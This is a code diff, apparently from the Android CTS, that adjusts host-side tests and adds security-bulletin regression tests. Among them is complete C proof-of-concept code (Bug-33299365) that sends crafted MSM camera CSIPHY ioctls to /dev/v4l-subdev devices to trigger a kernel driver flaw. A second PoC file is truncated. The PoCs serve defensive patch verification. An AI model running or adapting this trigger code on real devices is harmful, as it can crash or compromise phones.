+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo1");
+        excludeFilter.put("group", "bar2");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion and exclusion filters are both specified, config can pass through the filters
+     * as expected.
+     */
+    @Test
+    public void testMetadataFilter_includeAndExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar2");
+        assertTrue("config not included with matching inclusion and mismatching exclusion filters",
+                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
+    }
+
+    /**
+     * When inclusion and exclusion filters are both specified, config be excluded as specified
+     */
+    @Test
+    public void testMetadataFilter_includeThenExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("group", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar");
+        assertFalse("config not excluded with matching inclusion and exclusion filters",
+                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
+    }
+}
diff --git a/common/host-side/util/Android.mk b/common/host-side/util/Android.mk
index 23626bd..77a5b5d 100644
--- a/common/host-side/util/Android.mk
+++ b/common/host-side/util/Android.mk
@@ -20,6 +20,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-hostsidelib jsonlib
 
+LOCAL_COMPATIBILITY_SUITE := general-tests
+
 LOCAL_JAVA_LIBRARIES := json-prebuilt tradefed
 
 LOCAL_MODULE := compatibility-host-util
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
index 54da36c..a570232 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
@@ -16,28 +16,23 @@
 package android.aadb.cts;
 
 import com.android.ddmlib.IDevice;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.IFileEntry;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.TestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
 import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.RunUtil;
 import com.android.tradefed.util.StreamUtil;
 
 import java.awt.image.BufferedImage;
-
 import java.io.BufferedInputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
-import java.io.InputStream;
 import java.io.IOException;
-import java.util.TimeZone;
+import java.io.InputStream;
 
 import javax.imageio.ImageIO;
 
@@ -62,11 +57,18 @@
      * Simple testcase to ensure that the grabbing a bugreport from a real TestDevice works.
      */
     public void testBugreport() throws Exception {
-        String data = StreamUtil.getStringFromStream(
-                mTestDevice.getBugreport().createInputStream());
-        assertTrue(String.format("Expected at least %d characters; only saw %d", mMinBugreportBytes,
-                data.length()), data.length() >= mMinBugreportBytes);
-        // TODO: check the captured report more extensively, perhaps using loganalysis
+        InputStreamSource bugreport = mTestDevice.getBugreport();
+        InputStream bugreportData = null;
+        try {
+            bugreportData = bugreport.createInputStream();
+            String data = StreamUtil.getStringFromStream(bugreportData);
+            assertTrue(String.format("Expected at least %d characters; only saw %d",
+                    mMinBugreportBytes, data.length()), data.length() >= mMinBugreportBytes);
+            // TODO: check the captured report more extensively, perhaps using loganalysis
+        } finally {
+            StreamUtil.cancel(bugreport);
+            StreamUtil.close(bugreportData);
+        }
     }
 
     /**
@@ -75,7 +77,7 @@
      * <p/>
      * Do a 'shell ls' command, and verify /data and /system are listed in result.
      */
-    public void testExecuteShellCommand() throws IOException, DeviceNotAvailableException {
+    public void testExecuteShellCommand() throws DeviceNotAvailableException {
         CLog.i("testExecuteShellCommand");
         assertSimpleShellCommand();
     }
@@ -116,9 +118,8 @@
             assertTrue(mTestDevice.pullFile(deviceFilePath, tmpDestFile));
             assertTrue(compareFiles(tmpFile, tmpDestFile));
         } finally {
-            if (tmpDestFile != null) {
-                tmpDestFile.delete();
-            }
+            FileUtil.deleteFile(tmpDestFile);
+            FileUtil.deleteFile(tmpFile);
             if (deviceFilePath != null) {
                 mTestDevice.executeShellCommand(String.format("rm %s", deviceFilePath));
             }
@@ -158,12 +159,9 @@
             assertNotNull(tmpDestFile2);
             assertTrue(compareFiles(tmpFile, tmpDestFile2));
         } finally {
-            if (tmpDestFile != null) {
-                tmpDestFile.delete();
-            }
-            if (tmpDestFile2 != null) {
-                tmpDestFile2.delete();
-            }
+            FileUtil.deleteFile(tmpDestFile);
+            FileUtil.deleteFile(tmpDestFile2);
+            FileUtil.deleteFile(tmpFile);
             if (deviceFilePath != null) {
                 mTestDevice.executeShellCommand(String.format("rm %s", deviceFilePath));
             }
@@ -175,7 +173,7 @@
      * <p/>
      * Expect {@link TestDevice#pullFile(String)} to return <code>false</code>
      */
-    public void testPull_noexist() throws IOException, DeviceNotAvailableException {
+    public void testPull_noexist() throws DeviceNotAvailableException {
         CLog.i("testPull_noexist");
 
         // make sure the root path is valid
@@ -195,9 +193,7 @@
             FileUtil.writeToFile(fileContents, tmpFile);
             return tmpFile;
         } catch (IOException e) {
-            if (tmpFile != null) {
-                tmpFile.delete();
-            }
+            FileUtil.deleteFile(tmpFile);
             throw e;
         }
     }
@@ -355,7 +351,7 @@
     }
 
     /**
-     * Basic test for {@link TestDevice#getLogcat(long)}.
+     * Basic test for {@link TestDevice#getLogcat(int)}.
      * <p/>
      * Dumps a bunch of messages to logcat, calls getLogcat(), and verifies size of capture file is
      * equal to provided data.
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
index f5872a7..3f2ffa8 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
@@ -16,12 +16,9 @@
 package android.aadb.cts;
 
 import com.android.ddmlib.IDevice;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.device.TestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.util.FileUtil;
 
@@ -36,10 +33,8 @@
  */
 public class TestDeviceStressTest extends DeviceTestCase {
 
-    private int mIterations = 25;
-
-    private static final String LOG_TAG = "TestDeviceStressTest";
     private static final int TEST_FILE_COUNT= 200;
+    private int mIterations = 25;
     private ITestDevice mTestDevice;
 
     @Override
@@ -87,9 +82,7 @@
                 assertTrue(mTestDevice.doesFileExist(deviceFilePath));
             }
         } finally {
-            if (tmpDir != null) {
-                FileUtil.recursiveDelete(tmpDir);
-            }
+            FileUtil.recursiveDelete(tmpDir);
             mTestDevice.executeShellCommand(String.format("rm -r %s", deviceFilePath));
             assertFalse(String.format("%s exists", deviceFilePath),
                     mTestDevice.doesFileExist(deviceFilePath));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 390064d..00bac12 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -303,20 +303,9 @@
      * Tests that an arbitrary file cannot be installed using the 'cmd' command.
      */
     public void testAdbInstallFile() throws Exception {
-        final List<String> output = AdbOutputReader.getOutput(5000L, new String[] {
-                "adb",
-                "-s",
-                getDevice().getSerialNumber(),
-                "shell",
-                "cmd",
-                "package",
-                "install",
-                "-S",
-                "1024",
-                "/data/local/tmp/foo.apk",
-        });
-        assertEquals("Line count", 1, output.size());
-        assertEquals("Error text", "Error: APK content must be streamed", output.get(0));
+        String output = getDevice().executeShellCommand(
+                "cmd package install -S 1024 /data/local/tmp/foo.apk");
+        assertEquals("Error text", "Error: APK content must be streamed\n", output);
     }
 
     private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
@@ -327,66 +316,4 @@
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
-
-    /** Helper class to collect the output from a command. */
-    private static class AdbOutputReader {
-        public static List<String> getOutput(long timeout, String... command) throws Exception {
-            final Process adbProcess = RunUtil.getDefault().runCmdInBackground(command);
-            final InputStream in = adbProcess.getInputStream();
-            final List<String> lines = new ArrayList<>();
-            final Object threadLock = new Object();
-            final Thread t = new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    synchronized (threadLock) {
-                        readLines(in, lines);
-                        threadLock.notify();
-                    }
-                }
-            });
-            final long end = System.currentTimeMillis() + timeout;
-            synchronized (threadLock) {
-                t.start();
-                long now = System.currentTimeMillis();
-                while (now < end) {
-                    try {
-                        threadLock.wait(end - now);
-                    } catch (InterruptedException e) {
-                        now = System.currentTimeMillis();
-                        continue;
-                    }
-                    break;
-                }
-            }
-            adbProcess.destroy();
-            t.join();
-            return lines;
-        }
-
-        private static void readLines(InputStream in, List<String> lines) {
-            BufferedReader br = null;
-            try {
-                br = new BufferedReader(new InputStreamReader(in));
-                String line;
-                while ((line = readLineIgnoreException(br)) != null) {
-                    lines.add(line);
-                }
-            } catch (IOException ignore) {
-            } finally {
-                if (br != null) {
-                    try {
-                        br.close();
-                    } catch (IOException ignore) { }
-                }
-            }
-        }
-
-        private static String readLineIgnoreException(BufferedReader reader) throws IOException {
-            try {
-                return reader.readLine();
-            } catch (EOFException ignore) {
-                return null;
-            }
-        }
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index ee55180..703e3b6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -26,6 +26,7 @@
 import com.android.tradefed.result.CollectingTestListener;
 
 import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
 import java.util.Map;
 
 public class Utils {
@@ -76,6 +77,8 @@
 
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
                 "android.support.test.runner.AndroidJUnitRunner", device.getIDevice());
+        // 60 min timeout per test
+        testRunner.setMaxTimeToOutputResponse(60L, TimeUnit.MINUTES);
         if (testClassName != null && testMethodName != null) {
             testRunner.setMethodName(testClassName, testMethodName);
         } else if (testClassName != null) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 865d785..9a2224e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -537,6 +537,10 @@
         if (!mHasFeature) {
             return;
         }
+        boolean mHasAutofill = hasDeviceFeature("android.software.autofill");
+        if (!mHasAutofill) {
+          return;
+        }
         installAppAsUser(AUTOFILL_APP_APK, mUserId);
 
         executeDeviceTestMethod(".AutofillRestrictionsTest",
@@ -701,7 +705,14 @@
         if (!mHasFeature) {
             return;
         }
-        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+        // If ResetPasswordWithTokenTest for managed profile is executed before device owner and
+        // primary user profile owner tests, password reset token would have been disabled for
+        // the primary user, so executing ResetPasswordWithTokenTest on user 0 would fail. We allow
+        // this and do not fail the test in this case.
+        // This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
+        // MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
+        // without allowing failures.
+        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithTokenMayFail");
     }
 
     protected void executeDeviceTestClass(String className) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 0022804..7c82e16 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -137,4 +137,14 @@
         super.testAlwaysOnVpnPackageUninstalled();
     }
 
+    @Override
+    public void testResetPasswordWithToken() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Execute the test method that's guaranteed to succeed. See also test in base class
+        // which are tolerant to failure and executed by MixedDeviceOwnerTest and
+        // MixedProfileOwnerTest
+        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+    }
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 07c6c89..601c902 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -193,7 +193,7 @@
 
 
     public void testUnoptimizedBleScans() throws Exception {
-        if (isTV()) {
+        if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
             return;
         }
         batteryOnScreenOff();
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index c5feef2..c291b77 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,6 @@
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMediaBitstreamsTestCases.jar" />
-        <option name="runtime-hint" value="6m" />
+        <option name="runtime-hint" value="4h50m" />
     </test>
 </configuration>
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
index 340aacf..a82b9c3 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
@@ -192,8 +192,7 @@
         @Override
         void process(ITestDevice device, String reportPath)
                 throws DeviceNotAvailableException, IOException {
-            File testDir = mBuildHelper.getTestsDir();
-            File dynamicConfigFile = new File(testDir, MediaBitstreams.K_MODULE + ".dynamic");
+            File dynamicConfigFile = mBuildHelper.getTestFile(MediaBitstreams.K_MODULE + ".dynamic");
             device.pullFile(reportPath, dynamicConfigFile);
             CLog.i("Pulled bitstreams formats to %s", dynamicConfigFile.getPath());
         }
@@ -279,7 +278,7 @@
                 MetricsReportLog report = new MetricsReportLog(
                         mBuildHelper.getBuildInfo(), mAbi.getName(),
                         String.format("%s#%s", className, mMethodName),
-                        getClass().getSimpleName(), path);
+                        getClass().getSimpleName(), path.replaceAll("[./]", "_"));
 
                 boolean failedEarly;
                 String errMsg;
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java
index 7cc8b20..bb5d72d 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostResultTest.java
@@ -110,7 +110,7 @@
         // Create the device side path where the file will be transfered.
         final String devicePath = String.format(FILE_PATH, "tmp_testPushPull.txt");
         // Get this test's module config file from the build.
-        final File testFile = new File(mBuildHelper.getTestsDir(), FILE_NAME);
+        final File testFile = mBuildHelper.getTestFile(FILE_NAME);
         double[] result = MeasureTime.measure(REPEAT, new MeasureRun() {
             @Override
             public void prepare(int i) throws Exception {
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0a5209e..cf240db 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -86,17 +86,31 @@
         <option name="push" value="Bug-35047780->/data/local/tmp/Bug-35047780" />
         <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
         <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
+        <option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
 
         <!--__________________-->
         <!-- Bulletin 2017-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
         <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
+        <option name="push" value="Bug-34173755->/data/local/tmp/Bug-34173755" />
+        <option name="push" value="Bug-35950388->/data/local/tmp/Bug-35950388" />
+        <option name="push" value="Bug-34624155->/data/local/tmp/Bug-34624155" />
+        <option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
+        <option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
+        <option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
 
         <!--__________________-->
         <!-- Bulletin 2017-08 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
+        <option name="push" value="Bug-36266767->/data/local/tmp/Bug-36266767" />
+        <option name="push" value="Bug-36591162->/data/local/tmp/Bug-36591162" />
+        <option name="push" value="CVE-2017-9678->/data/local/tmp/CVE-2017-9678" />
+        <option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
+        <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
+        <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
new file mode 100644
index 0000000..8a7b047
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
@@ -0,0 +1,35 @@
+#Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33299365
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/poc.c b/hostsidetests/security/securityPatch/Bug-33299365/poc.c
new file mode 100644
index 0000000..ba15435
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33299365/poc.c
@@ -0,0 +1,131 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) \
+  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+enum csiphy_cfg_type_t {
+  CSIPHY_INIT,
+  CSIPHY_CFG,
+  CSIPHY_RELEASE,
+};
+
+struct msm_camera_csiphy_params {
+  unsigned char lane_cnt;
+  unsigned char settle_cnt;
+  unsigned short lane_mask;
+  unsigned char combo_mode;
+  unsigned char csid_core;
+  unsigned int csiphy_clk;
+};
+
+struct msm_camera_csi_lane_params {
+  uint16_t csi_lane_assign;
+  uint16_t csi_lane_mask;
+};
+
+struct csiphy_cfg_data {
+  enum csiphy_cfg_type_t cfgtype;
+  union {
+    struct msm_camera_csiphy_params *csiphy_params;
+    struct msm_camera_csi_lane_params *csi_lane_params;
+  } cfg;
+};
+#define VIDIOC_MSM_CSIPHY_IO_CFG \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct csiphy_cfg_data)
+
+static int set_affinity(int num) {
+  int ret = 0;
+  cpu_set_t mask;
+  CPU_ZERO(&mask);
+  CPU_SET(num, &mask);
+  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+  return ret;
+}
+
+volatile int v4lfd;
+
+#define TRY_TIMES 10
+int main(int argc, char *argv[]) {
+  int i, j, ret;
+  char buf[PAGE_SIZE] = {0};
+  struct csiphy_cfg_data cfg = {0};
+  struct msm_camera_csi_lane_params lane = {.csi_lane_mask = 0xFFFF};
+  struct msm_camera_csiphy_params csi;
+  char CSIPHY[32] = {0};
+
+  /* bind_cpu */
+  set_affinity(0);
+  for (i = 0; i < 32; i++) {
+    if (snprintf(CSIPHY, sizeof(CSIPHY), "/dev/v4l-subdev%d", i) < 0) {
+      exit(EXIT_FAILURE);
+    }
+
+    v4lfd = open(CSIPHY, O_RDONLY);
+
+    // init
+    cfg.cfgtype = CSIPHY_INIT;
+    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
+      close(v4lfd);
+      continue;
+    }
+
+    csi.lane_mask = 0xFFFF;
+    csi.lane_cnt = 1;
+    cfg.cfgtype = CSIPHY_CFG;
+    cfg.cfg.csiphy_params = &csi;
+    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
+      close(v4lfd);
+      continue;
+    }
+
+    // deinit
+    cfg.cfgtype = CSIPHY_RELEASE;
+    cfg.cfg.csi_lane_params = &lane;
+    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
+      close(v4lfd);
+      continue;
+    }
+
+    close(v4lfd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
new file mode 100644
index 0000000..f07cf4e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
@@ -0,0 +1,35 @@
+#Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+ include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-34173755
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
new file mode 100644
index 0000000..d2508dd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
@@ -0,0 +1,81 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/poc.c b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
new file mode 100644
index 0000000..6ec4efd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
@@ -0,0 +1,155 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
